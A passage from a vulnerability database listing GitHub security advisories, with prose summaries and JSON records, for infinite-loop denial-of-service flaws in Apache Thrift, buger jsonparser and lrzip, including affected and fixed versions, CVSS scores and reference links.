      "url": "https://usn.ubuntu.com/3555-2"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00028.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJ7P-RFGP-852X

Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2022-06-27 16:12
VLAI
Summary
Loop with Unreachable Exit Condition in Apache Thrift
Details

In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.12.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.thrift:libthrift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-0205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-27T16:12:09Z",
    "nvd_published_at": "2019-10-29T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.",
  "id": "GHSA-rj7p-rfgp-852x",
  "modified": "2022-06-27T16:12:09Z",
  "published": "2022-05-24T17:00:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0205"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4633082b834eebccd0d322697651d931ab10ca9c51ee7ef18e1f60f4@%3Cdev.thrift.apache.org%3E"
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    },
    {
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      "url": "https://lists.apache.org/thread.html/r50bf84c60867574238d18cdad5da9f303b618114c35566a3a001ae08@%3Cdev.hive.apache.org%3E"
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    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202107-32"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0804"
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      "url": "https://access.redhat.com/errata/RHSA-2020:0805"
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    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/thrift-dev/201910.mbox/%3CVI1PR0101MB2142E0EA19F582429C3AEBCBB1920%40VI1PR0101MB2142.eurprd01.prod.exchangelabs.com%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Loop with Unreachable Exit Condition in Apache Thrift"
}

GHSA-RMH2-65XW-9M6Q

Vulnerability from github – Published: 2021-05-18 18:26 – Updated: 2024-05-20 19:47
VLAI
Summary
Infinite Loop in jsonparser
Details

The Library API in buger jsonparser through 2019-12-04 allows attackers to cause a denial of service (infinite loop) via a Delete call.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/buger/jsonparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-10675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-04T21:51:17Z",
    "nvd_published_at": "2020-03-19T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Library API in buger jsonparser through 2019-12-04 allows attackers to cause a denial of service (infinite loop) via a Delete call.",
  "id": "GHSA-rmh2-65xw-9m6q",
  "modified": "2024-05-20T19:47:11Z",
  "published": "2021-05-18T18:26:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/buger/jsonparser/issues/188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/buger/jsonparser/pull/192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/buger/jsonparser/commit/91ac96899e492584984ded0c8f9a08f10b473717"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/buger/jsonparser"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4C7PV6KEUUM76V4B2J5IFN2U6LEOWB67"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6KUHKDQSEYJNROA66OMN6AAQMGAAN6WI"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2021-0089"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Infinite Loop in jsonparser"
}

GHSA-RP45-6HQ7-5W57

Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07
VLAI
Details

In Long Range Zip (aka lrzip) 0.631, there is an infinite loop and application hang in the unzip_match function in runzip.c. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted lrz file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-5650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-12T22:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In Long Range Zip (aka lrzip) 0.631, there is an infinite loop and application hang in the unzip_match function in runzip.c. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted lrz file.",
  "id": "GHSA-rp45-6hq7-5w57",
  "modified": "2022-05-13T01:07:36Z",
  "published": "2022-05-13T01:07:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ckolivas/lrzip/issues/88"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/08/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.